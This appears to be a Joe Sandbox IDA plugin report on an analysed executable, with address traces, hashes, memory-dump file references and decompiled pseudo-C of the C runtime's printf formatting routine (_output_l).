0x0043c1e2
0x0043c1e2
0x0043c1f5
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043c129
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c14f
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c173
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c179
0x0043c180
0x0043c1c8
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x00000000
0x0043c1bd
0x00000000
0x00000000
0x00000000
0x0043c3c6
0x0043c3c6
0x00000000
0x00000000
0x0043bfdd
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d5
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e2
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0f7
0x0043c0fd
0x0043c0fd
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c04b
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05c
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c073
0x0043c07b
0x0043c07d
0x0043c07f
0x0043c085
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c03f
0x0043c042
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x00000000
0x0043c3bd
0x0043c3bd
0x0043c432
0x0043c432
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4f2
0x0043c4f7
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4b1
0x0043c4b6
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c495
0x0043c49a
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c468
0x0043c46d
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c440
0x0043c445
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x00000000
0x0043c50e
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x0043c432
0x0043c432
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4f2
0x0043c4f7
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4b1
0x0043c4b6
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c495
0x0043c49a
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c468
0x0043c46d
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c440
0x0043c445
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50e
0x00000000
0x00000000
0x00000000
0x0043c50e
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc62
0x0043bc65
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x0043c984
0x0043c991
0x0043c991
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8de
0x0043c8e8
0x0043c8e8
0x0043c8ee
0x0043c8f4
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c918
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c91e
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c8c9
0x0043c8c9
0x0043c8d0
0x00000000
0x00000000
0x0043c8d2
0x0043c8d2
0x00000000
0x0043c8d2
0x0043c6c0
0x0043c697
0x0043c697
0x0043c69b
0x0043c6a8
0x0043c6ae
0x0043c6b4
0x0043c6ba
0x0043c6ba
0x0043c6bd
0x00000000
0x0043c6bd
0x0043c69d
0x0043c6a3
0x0043c6a6
0x00000000
0x00000000
0x00000000
0x0043c6a6
0x0043c5fc
0x0043c5ff
0x0043c609
0x0043c618
0x0043c621
0x0043c637
0x0043c63d
0x0043c643
0x0043c64a
0x0043c652
0x0043c652
0x0043c658
0x0043c658
0x0043c667
0x0043c66f
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x00000000
0x0043c5ec
0x0043c5de
0x0043c51b
0x0043c51b
0x0043c522
0x00000000
0x00000000
0x00000000
0x0043c550
0x0043c556
0x0043c562
0x00000000
0x0043c562
0x0043c432

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632

Strings

9, xrefs: 0043C643

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 1ff172c200ea0dedfd455879c282212411a5a632e0611a78a95372fc8c270d40
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: 7E4106B1E10129AFDB24CF48C981BAEB7B5FF89314F105599D149BB241D738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00427D8D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D8D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428370(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428370(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428370(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428370(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428390(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428390(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E00435730(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E00435770( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E00435730(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E00435770( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E00434240(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E00435770( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E00435730(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C550( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404430) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404450) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M00428268))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E00431230( *(_t668 - 0x251) & 0x000000ff, E0041AE60(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00435690( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00435690( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E390();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422E80(_t584))) = 0x16;
																E00422C10(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041AE30(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x4282a0; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428288))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x4282c8; // 0x7b7f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M004282B4))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x428334; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M004282F8))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
